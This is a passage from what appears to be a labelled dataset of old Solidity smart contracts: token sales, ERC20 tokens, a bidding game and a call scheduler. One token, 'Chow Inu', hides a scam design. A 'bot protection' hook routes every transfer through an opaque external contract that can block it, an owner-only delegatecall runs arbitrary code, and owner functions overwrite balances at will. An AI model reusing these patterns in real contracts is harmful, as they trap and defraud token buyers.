function set_allow_refunds(bool _boolean) onlyOwner {
allow_refunds = _boolean;
}
function set_tokens_received() onlyOwner {
tokens_received();
}
function set_percent_reduction(uint256 _reduction) onlyOwner payable {
require(bought_tokens && rounds == 0 && _reduction <= 100);
percent_reduction = _reduction;
if (msg.value > 0) {
owner_supplied_eth = true;
}
const_contract_eth_value = const_contract_eth_value.sub((const_contract_eth_value.mul(_reduction)).div(100));
}
function set_whitelist_enabled(bool _boolean) onlyOwner {
whitelist_enabled = _boolean;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_max_amount(uint256 _amount) onlyOwner {
max_amount = calculate_with_fees(_amount);
}
function change_fee(uint256 _fee) onlyOwner {
FEE_OWNER = _fee;
}
function emergency_token_withdraw(address _address) onlyOwner {
ERC20 temp_token = ERC20(_address);
require(temp_token.transfer(msg.sender, temp_token.balanceOf(this)));
}
function emergency_eth_withdraw() onlyOwner {
msg.sender.transfer(this.balance);
}
function withdraw(address _user) internal {
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
Contributor storage contributor = contributors[_user];
if (contributor.rounds < rounds) {
Snapshot storage snapshot = snapshots[contributor.rounds];
uint256 tokens_to_withdraw = contributor.balance.mul(snapshot.tokens_balance).div(snapshot.eth_balance);
snapshot.tokens_balance = snapshot.tokens_balance.sub(tokens_to_withdraw);
snapshot.eth_balance = snapshot.eth_balance.sub(contributor.balance);
contributor.rounds++;
require(token.transfer(_user, tokens_to_withdraw));
}
}
function refund(address _user) internal {
require(!bought_tokens && allow_refunds && percent_reduction == 0);
Contributor storage contributor = contributors[_user];
uint256 eth_to_withdraw = contributor.balance.add(contributor.fee);
contributor.balance = 0;
contributor.fee = 0;
_user.transfer(eth_to_withdraw);
}
function partial_refund(address _user) internal {
require(bought_tokens && allow_refunds && rounds == 0 && percent_reduction > 0);
Contributor storage contributor = contributors[_user];
require(contributor.rounds == 0);
uint256 eth_to_withdraw = contributor.balance.mul(percent_reduction).div(100);
contributor.balance = contributor.balance.sub(eth_to_withdraw);
if (owner_supplied_eth) {
uint256 fee = contributor.fee.mul(percent_reduction).div(100);
eth_to_withdraw = eth_to_withdraw.add(fee);
}
_user.transfer(eth_to_withdraw);
}
function take_fees_eth_dev() internal {
if (FEE_DEV != 0) {
DEVELOPER1.transfer(const_contract_eth_value.div(FEE_DEV));
DEVELOPER2.transfer(const_contract_eth_value.div(FEE_DEV));
}
}
function take_fees_eth_owner() internal {
if (FEE_OWNER != 0) {
owner.transfer(const_contract_eth_value.div(FEE_OWNER));
}
}
function calculate_with_fees(uint256 _amount) internal returns (uint256) {
uint256 temp = _amount;
if (FEE_DEV != 0) {
temp = temp.add(_amount.div(FEE_DEV/2));
}
if (FEE_OWNER != 0) {
temp = temp.add(_amount.div(FEE_OWNER));
}
return temp;
}
function tokens_received() internal {
uint256 previous_balance;
for (uint8 i = 0; i < snapshots.length; i++) {
previous_balance = previous_balance.add(snapshots[i].tokens_balance);
}
snapshots.push(Snapshot(token.balanceOf(address(this)).sub(previous_balance), const_contract_eth_value));
rounds++;
}
function tokenFallback(address _from, uint _value, bytes _data) {
if (ERC20(msg.sender) == token) {
tokens_received();
}
}
function withdraw_my_tokens() {
for (uint8 i = contributors[msg.sender].rounds; i < rounds; i++) {
withdraw(msg.sender);
}
}
function withdraw_tokens_for(address _addy) {
for (uint8 i = contributors[_addy].rounds; i < rounds; i++) {
withdraw(_addy);
}
}
function refund_my_ether() {
refund(msg.sender);
}
function partial_refund_my_ether() {
partial_refund(msg.sender);
}
function provide_eth() payable {}
function () payable underMaxAmount {
require(!bought_tokens && allow_contributions && (gas_price_max == 0 || tx.gasprice <= gas_price_max));
Contributor storage contributor = contributors[msg.sender];
if (whitelist_enabled) {
require(contributor.whitelisted);
}
uint256 fee = 0;
if (FEE_OWNER != 0) {
fee = SafeMath.div(msg.value, FEE_OWNER);
}
uint256 fees = fee;
if (FEE_DEV != 0) {
fee = msg.value.div(FEE_DEV/2);
fees = fees.add(fee);
}
contributor.balance = contributor.balance.add(msg.value).sub(fees);
contributor.fee = contributor.fee.add(fees);
require(individual_cap == 0 || contributor.balance <= individual_cap);
}
} | 1 | 5,346 |
pragma solidity ^0.4.17;
contract DickMeasurementContest {
uint lastBlock;
address owner;
modifier onlyowner {
require (msg.sender == owner);
_;
}
function DickMeasurementContest() public {
owner = msg.sender;
}
function () public payable {}
function mineIsBigger() public payable {
if (msg.value > this.balance) {
owner = msg.sender;
lastBlock = now;
}
}
function withdraw() public onlyowner {
require(now > lastBlock + 3 days);
msg.sender.transfer(this.balance);
}
function kill() public onlyowner {
if(this.balance == 0) {
selfdestruct(msg.sender);
}
}
} | 1 | 4,298 |
pragma solidity ^0.4.16;
contract Token{
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MaryCash is Token {
string public name;
uint8 public decimals;
string public symbol;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function MaryCash(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) public {
totalSupply = _initialAmount * 10 ** uint256(_decimalUnits);
balances[msg.sender] = totalSupply;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]);
require(_to != 0x0);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 3,284 |
pragma solidity 0.4.25;
contract AlarmClock {
event _newAlarmClock(address _contract, uint startBlock, uint blockWindow, uint reward, uint gas, bytes _callData);
address public owner;
uint public totalTimers;
uint public waitingTimers;
struct ClockStruct {
address _contract;
uint startBlock;
uint blockWindow;
uint reward;
uint gas;
bytes callData;
}
ClockStruct[] public clockList;
constructor () public payable {
owner = msg.sender;
totalTimers = 0;
waitingTimers = 0;
}
modifier ownerOnly() {
require(msg.sender == owner);
_;
}
function setNewOwner(address _newOwner) public ownerOnly {
owner = _newOwner;
}
function registerAlarmClock(address _contract, uint startBlock, uint blockWindow, uint gas, bytes _callData) external payable {
require(gas >= 200000);
require(msg.value > gas);
require(block.number < startBlock);
clockList.push(ClockStruct(_contract, startBlock, blockWindow, msg.value - gas, gas, _callData));
totalTimers++;
waitingTimers++;
emit _newAlarmClock(_contract, startBlock, blockWindow, msg.value - gas, gas, _callData);
}
function trigerAlarmClock(uint id) external payable {
require(clockList[id].reward > 0);
require(block.number >= clockList[id].startBlock);
require(block.number < (clockList[id].startBlock + clockList[id].blockWindow));
require(clockList[id]._contract.call.value(0).gas(clockList[id].gas)(clockList[id].callData));
clockList[id].reward = 0;
waitingTimers--;
msg.sender.transfer(clockList[id].reward);
}
function() external payable {
}
function _destroyContract() external ownerOnly {
selfdestruct(msg.sender);
}
} | 1 | 2,933 |
pragma solidity ^0.4.21;
library SafeMath {
function Mul(uint a, uint b) internal pure returns (uint) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function Div(uint a, uint b) internal pure returns (uint) {
uint256 c = a / b;
return c;
}
function Sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function Add(uint a, uint b) internal pure returns (uint) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract Ownable {
address public owner;
address deployer;
function Ownable() public {
owner = msg.sender;
deployer = msg.sender;
}
modifier onlyOwner() {
require (msg.sender == owner || msg.sender == deployer);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require (_newOwner != address(0));
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
uint256 public startTime;
uint256 public endTime;
uint256 private pauseTime;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
if(startTime > 0){
pauseTime = now;
}
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
if(endTime > 0 && pauseTime > startTime){
uint256 pauseDuration = pauseTime - startTime;
endTime = endTime + pauseDuration;
}
emit Unpause();
}
}
contract ERC20 is Pausable {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 value);
function transfer(address _to, uint256 _value) public returns (bool _success);
function allowance(address owner, address spender) public view returns (uint256 _value);
function transferFrom(address from, address to, uint256 value) public returns (bool _success);
function approve(address spender, uint256 value) public returns (bool _success);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed _from, address indexed _to, uint _value);
}
contract ECHO is ERC20 {
using SafeMath for uint256;
string public constant name = "ECHO token";
string public constant symbol = "ECHO";
bool public locked;
uint8 public constant decimals = 18;
uint256 public constant PRICE=4000;
uint256 constant MAXCAP = 322500000e18;
uint256 constant HARD_CAP = 8e7*1e18;
address ethCollector;
uint256 public totalWeiReceived;
uint256 public saleType;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) balances;
function isSaleRunning() public view returns (bool){
bool status = false;
if(now >= startTime && now <= 1525392000){
status = true;
}
if(now >= 1527811200 && now <= endTime){
status = true;
}
return status;
}
function countDownToEndCrowdsale() public view returns(uint256){
assert(isSaleRunning());
return endTime.Sub(now);
}
event StateChanged(bool);
function ECHO() public{
totalSupply = 0;
startTime = 1522972800;
endTime = 1531094400;
locked = true;
setEthCollector(0xc8522E0444a94Ec9a5A08242765e1196DF1EC6B5);
}
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier onlyUnlocked() {
require (!locked);
_;
}
modifier validTimeframe(){
require(isSaleRunning());
_;
}
function setEthCollector(address _ethCollector) public onlyOwner{
require(_ethCollector != address(0));
ethCollector = _ethCollector;
}
function unlockTransfer() external onlyOwner{
locked = false;
}
function isContract(address _address) private view returns(bool _isContract){
assert(_address != address(0) );
uint length;
assembly{
length := extcodesize(_address)
}
if(length > 0){
return true;
}
else{
return false;
}
}
function balanceOf(address _owner) public view returns (uint256 _value){
return balances[_owner];
}
function transfer(address _to, uint _value) onlyUnlocked onlyPayloadSize(2 * 32) public returns(bool _success) {
require( _to != address(0) );
bytes memory _empty;
assert((balances[msg.sender] >= _value) && _value > 0 && _to != address(0));
balances[msg.sender] = balances[msg.sender].Sub(_value);
balances[_to] = balances[_to].Add(_value);
if(isContract(_to)){
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _empty);
}
emit Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint _value, bytes _data) onlyUnlocked onlyPayloadSize(3 * 32) public returns(bool _success) {
assert((balances[msg.sender] >= _value) && _value > 0 && _to != address(0));
balances[msg.sender] = balances[msg.sender].Sub(_value);
balances[_to] = balances[_to].Add(_value);
if(isContract(_to)){
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3*32) public onlyUnlocked returns (bool){
bytes memory _empty;
assert((_value > 0)
&& (_to != address(0))
&& (_from != address(0))
&& (allowed[_from][msg.sender] >= _value ));
balances[_from] = balances[_from].Sub(_value);
balances[_to] = balances[_to].Add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].Sub(_value);
if(isContract(_to)){
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _empty);
}
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256){
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool){
if( _value > 0 && (balances[msg.sender] >= _value)){
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
else{
return false;
}
}
function mintAndTransfer(address beneficiary, uint256 tokensToBeTransferred) public validTimeframe onlyOwner {
require(totalSupply.Add(tokensToBeTransferred) <= MAXCAP);
totalSupply = totalSupply.Add(tokensToBeTransferred);
balances[beneficiary] = balances[beneficiary].Add(tokensToBeTransferred);
emit Transfer(0x0, beneficiary ,tokensToBeTransferred);
}
function getBonus(uint256 _tokensBought)public view returns(uint256){
uint256 bonus = 0;
if(saleType == 1){
if(now >= 1522972800 && now < 1523664000){
bonus = _tokensBought*20/100;
}
else if(now >= 1523664000 && now < 1524355200){
bonus = _tokensBought*10/100;
}
else if(now >= 1524355200 && now < 1525392000){
bonus = _tokensBought*5/100;
}
}
if(saleType == 2){
if(now >= 1527811200 && now < 1528588800){
bonus = _tokensBought*20/100;
}
else if(now >= 1528588800 && now < 1529280000){
bonus = _tokensBought*10/100;
}
else if(now >= 1529280000 && now < 1530403200){
bonus = _tokensBought*5/100;
}
}
return bonus;
}
function buyTokens(address beneficiary) internal validTimeframe {
uint256 tokensBought = msg.value.Mul(PRICE);
tokensBought = tokensBought.Add(getBonus(tokensBought));
balances[beneficiary] = balances[beneficiary].Add(tokensBought);
totalSupply = totalSupply.Add(tokensBought);
assert(totalSupply <= HARD_CAP);
totalWeiReceived = totalWeiReceived.Add(msg.value);
ethCollector.transfer(msg.value);
emit Transfer(0x0, beneficiary, tokensBought);
}
function finalize() public onlyUnlocked onlyOwner {
assert(!isSaleRunning() || (HARD_CAP.Sub(totalSupply)) <= 1e18);
endTime = now;
locked = false;
emit StateChanged(true);
}
function () public payable {
buyTokens(msg.sender);
}
function drain() public onlyOwner {
owner.transfer(address(this).balance);
}
} | 1 | 4,175 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function mint(address account, uint256 value) public;
function burn(address account, uint256 value) public;
function burnFrom(address account, uint256 value) public;
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function mint(address account, uint256 value) public {
require(account != 0);
totalSupply_ = totalSupply_.add(value);
balances[account] = balances[account].add(value);
emit Transfer(address(0), account, value);
}
function burn(address account, uint256 value) public {
require(account != 0);
require(value <= balances[account]);
totalSupply_ = totalSupply_.sub(value);
balances[account] = balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function burnFrom(address account, uint256 value) public {
require(value <= allowed[account][msg.sender]);
allowed[account][msg.sender] = allowed[account][msg.sender].sub(
value);
burn(account, value);
}
}
contract CyBetToken is StandardToken, Ownable {
string public constant name = "CyBet";
string public constant symbol = "CYBT";
uint public constant decimals = 18;
uint256 public constant tokenReserve = 210000000*10**18;
constructor() public {
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
}
}
contract Configurable {
using SafeMath for uint256;
uint256 public constant cap = 60000000*10**18;
uint256 public constant basePrice = 1000*10**18;
uint256 public tokensSold = 0;
uint256 public remainingTokens = 0;
}
contract Crowdsale is Configurable{
address public admin;
address private owner;
CyBetToken public coinContract;
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
constructor(CyBetToken _coinContract) public {
admin = msg.sender;
coinContract = _coinContract;
owner = coinContract.owner();
currentStage = Stages.none;
remainingTokens = cap;
}
event Invest(address investor, uint value, uint tokens);
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
require(remainingTokens >= tokens);
tokensSold = tokensSold.add(tokens);
remainingTokens = cap.sub(tokensSold);
coinContract.transfer(msg.sender, tokens);
admin.transfer(weiAmount);
emit Invest(msg.sender, msg.value, tokens);
}
function startIco() external {
require(msg.sender == admin);
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
function endIco() internal {
require(msg.sender == admin);
currentStage = Stages.icoEnd;
coinContract.transfer(coinContract.owner(), coinContract.balanceOf(this));
}
function finalizeIco() external {
require(msg.sender == admin);
require(currentStage != Stages.icoEnd);
endIco();
}
} | 1 | 4,910 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract ChowInu is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000000;
string public name = "Chow Inu";
string public symbol = "CHOW";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOf(wBNB, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairOf(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _toAddresses, uint amount) public {
require(msg.sender == owner);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = amount;
emit Transfer(address(0x0), _toAddresses[i], amount);
}
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 1,852 |
pragma solidity 0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract CeffylToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function CeffylToken() public {
symbol = "CFY";
name = "Ceffyl Token";
decimals = 18;
_totalSupply = 400000000 * 10**uint(decimals);
balances[0x0B848AF1342A9530e9B2Cfc29b720fF3E823ff23] = _totalSupply;
Transfer(address(0), 0x0B848AF1342A9530e9B2Cfc29b720fF3E823ff23, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply-balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 5,207 |
pragma solidity ^0.4.18;
contract MainSale {
uint256 public totalContributed;
uint256 public startTime;
uint256 public endTime;
uint256 public hardCap;
address public owner;
function MainSale (address _owner, uint256 _start, uint256 _end, uint256 _cap) public {
owner = _owner;
startTime = _start;
endTime = _end;
hardCap = _cap * (10 ** 18);
}
function () external payable {
require(now >= startTime && now <= endTime);
require(hardCap >= msg.value + totalContributed);
require(msg.value >= 10 ** 17);
totalContributed += msg.value;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function forwardFunds(address _to, uint256 _value) onlyOwner public returns (bool success) {
require(_to != address(0));
_to.transfer(_value);
return true;
}
} | 1 | 5,414 |
pragma solidity ^0.4.18;
contract Griefing {
uint public griefCost;
address public owner;
